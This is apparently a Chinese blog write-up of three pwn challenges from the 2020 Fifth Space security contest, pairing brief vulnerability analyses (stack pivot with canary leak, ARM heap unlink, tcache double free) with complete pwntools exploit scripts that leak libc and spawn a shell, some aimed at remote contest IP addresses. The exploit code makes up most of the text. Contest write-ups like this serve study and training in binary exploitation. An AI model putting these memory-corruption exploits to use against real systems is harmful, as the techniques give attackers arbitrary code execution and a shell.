2020 第五空间安全大赛

twice

查看文件

PIE没开、RELRO没开. 栈迁移

IDA分析

程序很简单,就是循环两次来进行输入,再打印出来。输入的地方有栈溢出,第一次只能溢出1个byte,第二次可以溢出0x18个byte。

思路

第一步:利用溢出一个字节来泄露出canary和stack
第二步:利用第二次溢出来leave到迁移到上面输入的栈中,栈中提前布置好rop一个目的是泄露libc,还有一个目的是返回到start地址(pop rdi + elf.got[‘got’]+efl.got[‘plt’]+start_addr)
第三步:利用第二次程序执行的第二次溢出,leave迁移到栈中,提前准备gadget来getshell(pop rdi + binsh_addr + system_addr)

exp

#coding:utf-8
from pwn import *
import subprocess
import sys,os,string

elf_path = './pwn'
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

P = ELF(elf_path)
context(os='linux',arch='amd64')
# context.terminal = ['terminator','-x','sh','-c']
#context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

local = 1
if local == 1:
    p = process(elf_path)
    if context.arch == 'amd64':
        libc = ELF(local_libc_x64_path)
    else:
        libc = ELF(local_libc_x86_path)
else:
    p = remote('121.36.59.116',9999)
    libc = ELF(remote_libc_path)

p.recvuntil('>')

p.send('\x11'*88+'\x22')
p.recvuntil('\x22')
canary = u64(p.recv(7).ljust(8,'\x00'))
canary = canary << 8
stack = u64(p.recv(6).ljust(8,'\x00'))
log.success('stack = '+hex(stack))
log.success('canary = '+hex(canary))

pop_rdi = 0x400923
leave = 0x400879
pop_rdi = 0x400923
leave = 0x400879

p.recvuntil('>')
payload = p64(pop_rdi)
payload+= p64(P.got['puts'])
payload+= p64(P.plt['puts'])
payload+= p64(0x400630)
payload = payload.ljust(88,'\x00')

p.send(payload+p64(canary)+p64(stack-(0xe0-0x68))+p64(leave))
p.recvuntil('\n')
libcbase = u64(p.recv(6).ljust(8,'\x00'))-libc.sym['puts']
log.success('libcbase = '+hex(libcbase))

p.recvuntil('>')
p.send('\x22')

p.recvuntil('>')
payload = p64(pop_rdi)
payload+= p64(libcbase+libc.search('/bin/sh').next())
payload+= p64(libcbase+libc.sym['system'])
payload = payload.ljust(88,'\x00')
p.send(payload+p64(canary)+p64(stack-(0xaf0-0x948))+p64(leave))

p.interactive()

pwnme

查看文件

这个32位的arm题,保护仅开启NX。

IDA分析

典型的菜单题,漏洞也很明显:

这里edit的时候有一个控制size的漏洞,那么就可以overflow了。既然这里保护都没开,我们想到一个很久没有使用的技术:unlink

思路

unlink向bss中写入bss地址,从而可以控制heap list,写got表地址leak libc,改got表getshell

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
local = 1
if local == 1:
    # p = process(["qemu-arm", "-g", "1234", "-L", "/usr/624-lib", "./a.out"])
    p = process(["qemu-arm", "-L", "/usr/624-lib", "./a.out"])

    libc = ELF('/usr/624-lib/lib/libc.so.0')
    elf = ELF('./a.out')
else:
    p = remote('121.36.58.215',1337)
    elf = ELF('./a.out')
    libc = ELF('/usr/624-lib/lib/libc.so.0')

def new(length,content):
    p.recvuntil('>>> ')
    p.sendline('2')
    p.recvuntil('Length:')
    p.sendline(str(length))
    p.recvuntil('Tag:')
    p.send(content)


def show():
    p.recvuntil('>>> ')
    p.sendline('1')

def delete(idx):
    p.recvuntil('>>> ')
    p.sendline('4')
    p.recvuntil('Tag:')
    p.sendline(str(idx))

def edit(idx,length,content):
    p.recvuntil('>>> ')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(idx))
    p.recvuntil('Length:')
    p.sendline(str(length))
    p.recvuntil('Tag:')
    p.send(content)

new(0x24,"\x11")
new(0xf8,"\x22")
new(0x24,"/bin/sh")

ptr = 0x2106c  # 我们想要写入的地址
edit(0,0x24,p32(0)+p32(0x21)+p32(ptr-0xc)+p32(ptr-0x8)+"a"*0x10+p32(0x20)) # fd(0x21060) 写入0x2106c
delete(1)
edit(0,0x100,p32(0)*2+p32(0x24)+p32(0x2106c)+p32(0x24)+p32(elf.got['free']))
show()
sleep(1)
p.recv(11)
libc.address = u32(p.recv(4))-libc.symbols["free"]
success("libc addr ==> "+hex(libc.address))
edit(1,4,p32(libc.symbols["system"]))
delete(2)
p.interactive()

of

源码分析

给了源码

思路

double free,填满tcache释放到unsorted bin中残留libc地址,show出来。在利用tcache没有检查double free的问题,利用edit改fd为hook,改hook为system地址,将某个chunk中写入/bin/sh,delete即可getshell

exp

#coding:utf-8
from pwn import *
import subprocess
import sys,os,string

elf_path = './of'
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
local_libc_x86_path = '/lib/i386-linux-gnu/libc.so.6'
local_libc_x64_path = '/lib/x86_64-linux-gnu/libc.so.6'

P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
context.log_level = 'debug'

local = 1
if local == 1:
    p = process(elf_path)
    if context.arch == 'amd64':
        libc = ELF(local_libc_x64_path)
    else:
        libc = ELF(local_libc_x86_path)
else:
    p = remote('121.36.74.70',9999)
    libc = ELF('./libc-2.27.so')

def new(idx):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))    

def delete(idx):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def edit(idx,content):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Content: ')
    p.send(content)

for i in range(8):
    new(i)

for i in range(7):
    delete(7-i)

delete(0)

for i in range(8):
    new(0)
edit(1,'/bin/sh\x00')

show(0)
p.recvuntil("Content: ")
p.recv(8)
libcbase = u64(p.recv(6).ljust(8,'\x00'))-(0x7ff4b7488ca0-0x7ff4b709d000)
log.success('libcbase = '+hex(libcbase))

delete(0)
delete(0)
# gdb.attach(p)
delete(0)
new(0)
edit(0,p64(libcbase+libc.sym['__free_hook']))

new(2)
new(3)
edit(3,p64(libcbase+libc.sym['system']))
delete(1)

p.interactive()

 Previous
Reverse Shell Reverse Shell
0x01 前言之前一直没了解反弹shell的真正含义,今天刚好发现自己pwnable的排名有点瓦,做道题冲个分吧…这篇文章参考了m4x师傅的文章,总结下来供自己学习: 0x02 shell是什么简单的来说shell就是用户操作系统的入口,通
2020-09-15
Next 
路由器常见漏洞总结 路由器常见漏洞总结
前言,基本也是《0day路由器漏洞挖掘》这本书的读书笔记 路由器web漏洞XSS漏洞针对路由器的web管理页面,例如:攻击者发现路由器管理页面包含一个反射型XSS,就可以构建一个利用这个XSS漏洞的URL,并且将其通过邮件或QQ发送给受害者
  TOC